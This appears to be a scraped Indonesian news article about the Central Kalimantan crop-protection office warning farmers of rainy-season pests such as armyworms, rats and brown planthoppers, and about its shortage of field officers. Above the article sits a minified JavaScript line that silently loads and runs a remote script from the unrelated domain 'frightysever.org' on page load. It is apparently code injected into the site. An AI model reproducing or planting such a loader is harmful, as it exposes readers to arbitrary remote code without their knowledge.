(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PALANGKARAYA, UPTD Balai Perlindungan Tanaman Pangan dan Hortikultura (BPTPH) Provinsi Kalimantan Tengah, mengingatkan kepada para petani di wilayah setempat untuk mewaspadai sejumlah hama yang berpotensi menyerang saat musim hujan.
“Saat musim hujan seperti ini, serangan hama yang potensial terjadi seperti ulat grayak, tikus dan wereng batang coklat,” kata Kepala UPTD BPTPH Kalteng Baini di Palangka Raya.
Dalam hal ini, melalui petugas yang berada di lapangan, pihaknya telah mensosialisasikan berbagai hal yang diperlukan petani, salah satu yang utama adalah upaya pencegahan maupun penanggulangan serangan hama ke lahan pertanian. Demikian dilansir Antara.
Selain itu pihaknya juga menjalin koordinasi yang baik dengan masing-masing perangkat daerah yang membidangi di kabupaten dan kota, sehingga saling mengisi atau melengkapi dalam upaya melindungi lahan pertanian yang ada di Kalteng.
Lebih lanjut Baini menjelaskan, biasanya saat perubahan atau pergeseran dari musim kemarau ke musim hujan, akan muncul sejumlah daerah endemis serangan hama di wilayah setempat. “Untuk itu, kami pun perlu melakukan berbagai langkah antisipasi, utamanya di kabupaten sentra atau yang memiliki luasan lahan pertanian cukup besar,” terangnya.
Adapun sejumlah daerah dimaksud, meliputi Kabupaten Barito Timur, Kapuas, Katingan, Kotawaringin Timur serta Pulang Pisau. Namun pihaknya menegaskan, kabupaten dan kota lainnya tetap mendapatkan perhatian serupa guna mencegah berbagai potensi serangan hama.
Baini memaparkan, selama ini berbagai serangan hama yang menyerang lahan pertanian di Kalteng bisa teratasi dengan baik. Bahkan secara nasional, tingkat serangan hama terhadap lahan di Kalteng relatif kecil atau masih rendah.
Sementara itu, ia juga mengaku meski para petugas di lapangan telah bekerja secara optimal, masih ada sejumlah kendala yang pihaknya hadapi. Diantaranya jumlah petugas di lapangan yang tidak ideal jika dibandingkan luasan wilayah di Kalteng.
“Kalteng terdiri dari sekitar 137 kecamatan dan idealnya satu kecamatan harusnya memiliki satu petugas. Namun saat ini Kalteng hanya memiliki sekitar 65 petugas, terdiri dari 35 petugas berstatus tenaga harian lepas dan sisanya pegawai negeri sipil,” ungkapnya.(antara)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.